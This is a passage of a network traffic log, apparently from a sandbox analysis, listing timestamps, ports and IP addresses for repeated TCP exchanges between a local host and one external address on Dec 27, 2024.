Dec 27, 2024 09:09:09.012911081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.013082981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.013638020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.013823986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.013897896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.014940977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.014992952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.015041113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.016329050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.016365051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.016410112 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.019424915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.074193954 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.159234047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.159292936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.159552097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.160211086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.160224915 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.160271883 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.161148071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.161257982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.161295891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.162204027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.162218094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.162266970 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.163290024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.163304090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.163347960 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.164419889 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.164524078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.164566994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.165555000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.165676117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.165720940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.166656017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.166745901 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.166788101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.167879105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.167906046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.167960882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.168971062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.169152021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.169200897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.170131922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.170243025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.170310974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.171260118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.171353102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.171395063 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.172481060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.172534943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.172580957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.173648119 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.173842907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.173885107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.174813986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.174902916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.174942017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.175889969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.176006079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.176089048 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.177086115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.177184105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.177239895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.178210020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.178314924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.178359985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.179352045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.179442883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.179488897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.180548906 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.180664062 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.180753946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.181663990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.181716919 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.181760073 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.182877064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.182957888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.183011055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.184011936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.184026003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.184067011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.185142994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.185291052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.185337067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.186369896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.186484098 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.186530113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.187513113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.187618017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.187669039 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.188621998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.188800097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.188841105 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.189784050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.189877033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.189914942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.190929890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.191041946 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.191128969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.192089081 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.192195892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.192234993 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.193274021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.193412066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.193454981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.194415092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.194572926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.194618940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.195553064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.195693016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.195739031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.196691990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.196760893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.196808100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.197876930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.198002100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.198046923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.199048996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.199141979 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.199196100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.200213909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.200361967 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.200411081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.201344013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.201539993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.201582909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.202517986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.202660084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.202703953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.203653097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.203742981 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.203782082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.204809904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.204905987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.204957962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.205971956 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.206072092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.206132889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.207212925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.207226038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.207271099 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.208292007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.208374023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.208420992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.209498882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.209559917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.209609985 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.210683107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.210773945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.210818052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.211793900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.211807013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.211853981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.212907076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.213078022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.213121891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.214097023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.214267969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.214318037 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.215231895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.215296030 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.215338945 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.216435909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.216448069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.216492891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.217566013 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.217708111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.217746973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.218679905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.218988895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.219029903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.219904900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.274096966 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.357147932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.357357025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.357415915 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.357810974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.357919931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.357958078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.358901024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.359272003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.359317064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.359311104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.360477924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.360526085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.360603094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.361614943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.361654997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.361793995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.362781048 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.362824917 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.362869024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.363919020 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.363977909 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.364043951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.365039110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.365082026 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.365303993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.366396904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.366410971 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.366440058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.367449999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.367522955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.367536068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.368537903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.368583918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.368602991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.369668961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.369719982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.369785070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.370920897 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.370951891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.370963097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.372014046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.372055054 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.372214079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.373128891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.373172045 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.373253107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.374491930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.374535084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.374548912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.375519991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.375549078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.375564098 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.376746893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.376760006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.376790047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.377810955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.377868891 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.377892017 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.378968954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.379010916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.379087925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.380115032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.380156040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.380218029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.381232023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.381289005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.381325960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.382503033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.382549047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.382550955 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.383712053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.383759022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.383793116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.384845018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.384881973 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.384979010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.385901928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.385942936 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.385967016 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.387271881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.387285948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.387346983 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.388259888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.388302088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.388364077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.389323950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.389365911 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.389444113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.390542984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.390580893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.390646935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.391627073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.391695976 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.391766071 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.392827034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.392879963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.392908096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.393938065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.393975019 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.394117117 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.395175934 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.395216942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.395224094 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.396228075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.396265984 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.396378994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.397408009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.397444010 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.397491932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.398673058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.398719072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.398730993 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.399755001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.399795055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.399905920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.400886059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.400927067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.401014090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.402056932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.402107000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.402194023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.403254032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.403266907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.403295994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.404371977 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.404411077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.404553890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.405555010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.405594110 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.405678034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.406662941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.406677961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.406708956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.407830000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.407871008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.407927036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.409123898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.409168005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.409178972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.410307884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.410345078 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.410412073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.411525011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.411537886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.411562920 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.412511110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.412523031 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.412548065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.413584948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.413636923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.413784027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.414849043 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.414896965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.414957047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.415918112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.415961981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:09.416014910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.417031050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:09.417068958 CET	49731	56711	192.168.2.4	185.196.8.218
